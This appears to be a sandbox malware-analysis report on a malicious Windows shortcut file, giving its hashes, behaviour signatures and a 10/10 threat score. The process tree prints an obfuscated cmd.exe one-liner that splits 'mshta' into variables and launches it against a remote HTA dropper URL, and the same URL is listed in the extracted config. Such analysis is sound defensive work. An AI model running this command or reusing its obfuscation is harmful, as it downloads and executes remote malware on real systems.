Analysis
- max time kernel
150s - max time network
119s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-KQJXGP.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-KQJXGP.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-KQJXGP.lnk
- Size 1KB
- Sample260803-qs5rxazelb
- SHA256 6aed113d791845146cb457a4c8b17956f15a475982ff29b323c91c47935d0382
- MD5 5fe0bf3b1afa2ca2fe5613d733e8ad54
- SHA1 0e0cc92b7f59ffa8cdb84d078973c8209f2c00d8
- SHA512 3612d23861d0c07c36f53ab11f44848b8da2714fa4bb671891cf4016d1673b95daf7a33cf17a1c4fd355cb985e7cf98cffd469454fad2f0c439d8a3631135c1c
- TLSH T1083164503BF90A14F3F38E3398BB5B1088BFB9968E20C61D4051460C1422A04E1BBF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2104 cmd.exe 4996 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2104 wrote to memory of 4996 2104 cmd.exe 90 PID 4996 wrote to memory of 4632 4996 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KQJXGP.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set dfoqp=msh&&set nhAp=ta&&start "" !dfoqp!!nhAp! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4632
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